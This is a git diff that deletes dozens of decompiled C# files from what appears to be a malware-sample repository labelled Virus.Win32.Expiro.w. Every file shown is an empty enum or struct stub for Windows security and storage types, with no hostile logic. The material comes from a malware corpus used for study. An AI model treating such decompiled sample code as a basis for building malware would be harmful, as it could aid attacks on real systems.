ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SASL_AUTHZID_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ACTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ACTION_TYPE.cs deleted file mode 100644 index 5bb4a829..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ACTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ACTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SC_ACTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ENUM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ENUM_TYPE.cs deleted file mode 100644 index cffafa26..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ENUM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ENUM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _SC_ENUM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_STATUS_TYPE.cs deleted file mode 100644 index 0d542c9f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SC_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_ATTRIBUTES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_ATTRIBUTES.cs deleted file mode 100644 index c6a5666a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_ATTRIBUTES.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_ATTRIBUTES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _SECURITY_ATTRIBUTES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_IMPERSONATION_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_IMPERSONATION_LEVEL.cs deleted file mode 100644 index 7464c38d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_IMPERSONATION_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_IMPERSONATION_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SECURITY_IMPERSONATION_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_SESSION_DATA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_SESSION_DATA.cs deleted file mode 100644 index 3a475ccd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_SESSION_DATA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_SESSION_DATA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 80)] -internal struct _SECURITY_LOGON_SESSION_DATA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_TYPE.cs deleted file mode 100644 index 3d1fa4b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SECURITY_LOGON_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SETTINGSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SETTINGSTATUS.cs deleted file mode 100644 index c9ccc677..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SETTINGSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SETTINGSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _SETTINGSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_ADT_PARAMETER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_ADT_PARAMETER_TYPE.cs deleted file mode 100644 index 50329c1d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_ADT_PARAMETER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_ADT_PARAMETER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SE_ADT_PARAMETER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_OBJECT_TYPE.cs deleted file mode 100644 index 5afc9e76..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SE_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SID_NAME_USE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SID_NAME_USE.cs deleted file mode 100644 index c20b9389..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SID_NAME_USE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SID_NAME_USE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SID_NAME_USE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPACTION.cs deleted file mode 100644 index 1664edea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SPACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPTEXT.cs deleted file mode 100644 index dcbdd7e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SPTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ASSOCIATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ASSOCIATION_TYPE.cs deleted file mode 100644 index a01e0d59..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ASSOCIATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_ASSOCIATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _STORAGE_ASSOCIATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_BUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_BUS_TYPE.cs deleted file mode 100644 index d49e2427..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_BUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_BUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _STORAGE_BUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_CODE_SET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_CODE_SET.cs deleted file mode 100644 index 98c39177..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_CODE_SET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_IDENTIFIER_CODE_SET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STORAGE_IDENTIFIER_CODE_SET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_TYPE.cs deleted file mode 100644 index bf7b7ef1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_IDENTIFIER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _STORAGE_IDENTIFIER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ID_NAA_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ID_NAA_FORMAT.cs deleted file mode 100644 index 40da49e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ID_NAA_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_ID_NAA_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_ID_NAA_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_MEDIA_TYPE.cs deleted file mode 100644 index 87365879..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _STORAGE_MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PORT_CODE_SET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PORT_CODE_SET.cs deleted file mode 100644 index d86b35b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PORT_CODE_SET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_PORT_CODE_SET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _STORAGE_PORT_CODE_SET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PROPERTY_ID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PROPERTY_ID.cs deleted file mode 100644 index 25505b03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PROPERTY_ID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_PROPERTY_ID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_PROPERTY_ID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_QUERY_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_QUERY_TYPE.cs deleted file mode 100644 index 31b799e5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_QUERY_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_QUERY_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, 